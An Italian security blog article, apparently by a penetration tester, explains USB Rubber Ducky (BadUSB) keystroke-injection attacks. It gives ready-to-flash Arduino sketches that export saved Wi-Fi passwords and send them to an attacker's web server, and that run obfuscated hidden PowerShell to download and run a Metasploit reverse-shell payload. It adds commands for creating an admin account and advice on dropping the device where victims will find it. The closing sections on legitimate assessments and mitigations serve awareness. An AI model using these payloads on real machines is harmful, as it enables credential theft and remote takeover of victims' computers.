Attacchi USB: Scopri come una Rubber Ducky può mettere a rischio il tuo PC

Quando pensiamo agli attacchi con chiavette usb, pensiamo solitamente a qualche malware copiato all’interno e magari avviato in automatico (autorun.inf). Sappiamo anche che non dobbiamo accettare chiavette dagli sconosciuti in quanto potrebbero contenere questi malware eseguibili o per esempio documenti con contenuti attivi all’interno.

Casi del genere sono già stati utilizzati in passato, ne cito solo 3 che sicuramente saranno noti:

Stuxnet scoperto nel lontano 2010 utilizzato per distribuire via USB un malware per compromettere gli impianti di arricchimento dell’uranio iraniani, oppure altri come silli o agent.bz.

Avevamo visto qui già degli esempi di word ed eseguibili camuffati con dei malware che potevano fare grandi cose, file che potrebbero essere introdotti in queste flash USB come vettore di attacco iniziale:

Però ci sono altre tipologie di attacchi usb che non utilizzano le famose flash “dati” ma dei dispositivi programmabili che simulano vari dispositivi solitamente plug & play, autoinstallanti nel dispositivo vittima.

Questi possono essere di vario tipo, per esempio:

1. Rubber Ducky: sono dei dispositivi che permettono di eseguire degli script ed emulano dei dispositivi di input generici come Tastiere e Mouse generiche
2. USB che sovrascrivono la configurazioni di rete: sono dispositivi che simulano delle interfacce di rete ed eseguono hijacking del traffico locale
3. USB che eseguono override del gateway: molto simili alle precedenti

Ne abbiamo descritte alcune ma la tipologia à molto vasta come visibile qui sotto:

Rubber Ducky

In questo articolo parleremo delle Rubber Ducky, un attacco tanto semplice, altesi subdolo e difficile da bloccare.

Ma che cos’è una Rubber Ducky?

E’ una pendrive di modeste dimensioni che programmata adeguatamente svolgerà il ruolo di USB-HID (Human Interface Device) e permetterà di eseguire del keystroke injection.

Solitamente i dispositivi HID (tastiere e mouse) non hanno particolari restrizioni di collegamento come possono essere le usb flash spesso bloccate dalle politiche DLP delle aziende più preparate.

La pendrive “particolare” una volta collegata nel dispositivo della vittima inizierà a comporre una serie di comandi programmati, come fosse una tastiera; comandi che potrebbero essere devastanti per la sicurezza del dispositivo della vittima.

Questa tecnica non è nuova; in passato sono stati già creati delle utility per comporre velocemente il codice per convertire una sequenza di comandi (PRESS, WRITE, DELAY) in uno script “out of the box” Arduino come possiamo vedere in duckuino.

https://d4n5h.github.io/Duckuino

Sono presenti alcuni progetti già preparati nella repo git che allo stato attuale non è accessibile, ma possiamo recuperarla tramite web archive.

https://web.archive.org/web/20220309003504/https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads

C’è da dire che questo “autocompilatore” si basa sulla libreria HID-Project (https://github.com/NicoHood/HID) che nativamente traduce il layout della tasiera US, quindi in particolare nei caratteri speciali non sono quelli di una tastiera italiana. Inoltre non risulta più aggiornata dal 2021.

Ho optato quindi per la libreria più recente Keyboard.h che ha già la configurazione per la tastiera italiana e altre lingue.

Tutto quello che ci servirà è una badusb (io ho usato una Leonardo) reperibile molto facilmente sui principali store online:

Arduino IDE per programmare la board:

https://www.arduino.cc/en/software

La libreria Keyboard.h e tutte le lingue necessarie. Potete clonare la repo in Documents\Arduino\libraries, directory di default delle librerie aggiuntive arduino.

https://github.com/arduino-libraries/Keyboard/tree/master/src

E un pizzico di codice e familiarità con Arduino. Dico proprio pizzico perchè con veramente poche istruzioni possiamo fare molto.

Vediamo allora un pò di esempi pratici…

Esempio 1: aprire il notepad e scriverci del testo all’interno

Vediamo un esempio semplicissimo per vedere come la BAD USB può interagire con il dispositivo dove è collegato:

Ora vediamo il codice arduino utilizzato:

#include <Keyboard.h>
#include <KeyboardLayout.h>
#include <Keyboard_da_DK.h>
#include <Keyboard_de_DE.h>
#include <Keyboard_es_ES.h>
#include <Keyboard_fr_FR.h>
#include <Keyboard_it_IT.h>
#include <Keyboard_sv_SE.h>

void typeKey(int key){
  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}
void setup() {
  pinMode(13, OUTPUT);
  Keyboard.begin(KeyboardLayout_it_IT);
  delay(1000);
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press(114);
  Keyboard.releaseAll();
  delay(1000);
  Keyboard.print("notepad.exe");
  typeKey(KEY_RETURN);  
  delay(1500);
  Keyboard.println("HACKED by BAD USB!");
  Keyboard.releaseAll();
  Keyboard.end();
}
void loop() {}

Il codice utilizzato non fa altro che aprire “Esegui”, scrivere notepad.exe avviarlo e scriverci una stringa.

Esempio 2: inviare SSID e password delle connessioni WIFI a un host remoto

Ora vediamo in questo esempio più pratico in cui si è riusciti ad estrapolare in una frazione di attimi le password WIFI del dispositivo e inviarla all’attaccante

Attraverso un server web in ascolto da parte dell’avversario, infatti, abbiamo ricevuto questa risposta nel host remoto:

192.168.50.200 – – [29/May/2024 14:52:40] “GET /DESKTOP-C5I9SGA/%20Wi-Fi-WIFI%20ADMIN.xml:23:%09%09%09%09%3CkeyMaterial%3Esupersafepassword%3C/keyMaterial%3E%20Wi-Fi-WIFI%20GUEST.xml:23:%09%09%09%09%3CkeyMaterial%3EPassword123%3C/keyMaterial%3E HTTP/1.1” 404 –

Che decodificando il formato uri contiene le credenziali di rete del WIFI che sono state salvate precedentemente.

ADMIN: supersafepassword

GUEST: Password123

Guardando il codice abbiamo come prima avviato esegui, aperto il cmd, abbiamo esportato le chiavi in una directory temporanea, inviate tramite una chiamata http e infine chiuso il terminale.

#include <Keyboard.h>
#include <KeyboardLayout.h>
#include <Keyboard_da_DK.h>
#include <Keyboard_de_DE.h>
#include <Keyboard_es_ES.h>
#include <Keyboard_fr_FR.h>
#include <Keyboard_it_IT.h>
#include <Keyboard_sv_SE.h>

void setup() {
  Keyboard.begin(KeyboardLayout_it_IT);
  delay(1000);
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press(114);
  Keyboard.releaseAll();
  delay(200);
  Keyboard.print(F("cmd /k"));
  typeKey(KEY_RETURN);
  delay(500);
  Keyboard.print(F("cd %temp%"));
  typeKey(KEY_RETURN);
  delay(200);
  Keyboard.print(F("netsh wlan export profile key=clear"));
  typeKey(KEY_RETURN);
  delay(200);
  Keyboard.print(F("powershell Select-String -Path Wi*.xml -Pattern 'keyMaterial' > WiFi-PW"));
  typeKey(KEY_RETURN);
  delay(300);
  Keyboard.print(F("powershell Invoke-WebRequest -Uri http://192.168.50.129/$env:computername/$(Get-Content ./WiFi-PW)"));
  typeKey(KEY_RETURN);
  delay(300);
  Keyboard.print(F("del Wi-* /s /f /q"));
  typeKey(KEY_RETURN);
  delay(100);
  Keyboard.print(F("exit"));
  typeKey(KEY_RETURN);
  delay(100);
  Keyboard.end();
  delay(100);
}
void typeKey(int key){
  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}
void loop() {}

Esempio 3: ottenere una reverse shell remota

Questo esempio è ancora più complesso e interessate.

Come possiamo vedere rispetto all’esempio precedente abbiamo fatto uso sia di un server web in ascolto che di metasploit per ricevere una reverse shell.

Abbiamo creato una reverse shell attraverso msvenom e attivato un punto di ascolto http per il prelievo dell’exploit quando sarà inserita usb.

E infine un listener tramite msfconsole che accetterà la connessione dal dispositivo della vittima una volta innescato exploit.

Una volta ottenuta la sessione meterpreter ho eseguito dei comandi nel dispositivo della vittima.

Questo infine è il codice di questo esempio:

#include <Keyboard.h>
#include <KeyboardLayout.h>
#include <Keyboard_da_DK.h>
#include <Keyboard_de_DE.h>
#include <Keyboard_es_ES.h>
#include <Keyboard_fr_FR.h>
#include <Keyboard_it_IT.h>
#include <Keyboard_sv_SE.h>

void setup() {
  Keyboard.begin(KeyboardLayout_it_IT);
  delay(1000);
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press(114);
  Keyboard.releaseAll();
  delay(200);
  Keyboard.print(F("powershell -windowstyle hidden -command (N'ew'-Ob'j'ect Sy's'tem.Net.WebClient).DownloadFile(\\\"http://192.168.50.129/payload.exe\\\",\\\"$env:UserProfile\\desktop\\payload.exe\\\");in'v'oke-item $env:UserProfile\\desktop\\payload.exe;pause"));
  typeKey(KEY_RETURN);
  delay(1000);
  Keyboard.end();
  delay(10000);
}
void typeKey(int key){
  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}
void loop() {}

Distribuzione

Ora non ci resta trovare qualche curioso, “dimenticandola” in qualche luogo o azienda oppure approfittare della distrazione della vittima collegandola in un dispositivo in bella vista per collegarla a sua insaputa il tempo che serve per far partire exploit.

Usi leciti

Queste bad usb, oltre ad un utilizzo illecito possono essere utilizzate dalle società di consulenza, come accade già da anni, nelle attività di assessment per verificare la sicurezza, policy e livello di awareness delle organizzazioni, simulando un intrusione fisica alla rete aziendale.

Per esempio, simulare uno sconosciuto che fingendosi un fornitore riesca ad accedere a un dispositivo e collegare questi dispositivi per eseguire del initial access per valutare le vulnerabilità e l’impatto che potrebbe avere questo attacco.

Conclusione

Abbiamo appena visto alcuni esempi di un attacco relativamente semplice da eseguire.

Ovviamente questo attacco ha dei limiti che dipendono dal nostro obiettivo e il dispositivo che abbiamo di fronte. Principalmente siamo riusciti ad avviare i comandi utilizzando delle combinazioni di tasti come “esegui”. 

Su postazione prive di desktop (totem) o con disabilitati delle combinazioni di tasti utili non potremmo sfruttare gli esempi visti allo stesso modo.

Facendo dei test rispetto a qualche sistema precedente come XP, il UAC permette di evitare che vengano effettuati comandi di un certo livello anche se l’utente vittima ha i privilegi di amministratore.

Per esempio con il UAC attivato non potremmo inviare 2 semplici comandi per creare un nuovo utente (net user admin password /add) e renderlo amministratore (net localgroup administrators username /add), facilmente implementabile con le rubber ducky

Sebbene questo attacco per le ragioni spiegate precedentemente è difficilmente bloccabile, anche se alcuni endpoint hanno integrato dei meccanismi di prevenzione contro queste badusb, possiamo mitigare con le solite buone norme come:

• Evitare di collegare USB sconosciute nei dispositivi trovati in giro.
• Non disattivare sistemi come UAC che offrono un livello di sicurezza anche se si è amministratori.
• Rispettare il privilegio minimo per mitigare gli effetti di possibili eseguibili avviati.
• Mantenere aggiornati i sistemi operativi e antivirus.
• Firewall perimetrali potrebbero proteggere da comunicazione da e verso l’esterno da chiamate sospette.

Manuel Roccon

Ho iniziato la mia carriera occuparmi nella ricerca e nell’implementazioni di soluzioni in campo ICT e nello sviluppo di applicazioni. Al fine di aggiungere aspetti di sicurezza in questi campi, da alcuni anni ho aggiunto competenze inerenti al ramo offensive security (OSCP), occupandomi anche di analisi di sicurezza e pentest in molte organizzazioni.

Aree di competenza: Ethical Hacking, Bug Hunting, Penetration Testing, Red Teaming, Security Research, Cybersecurity Communication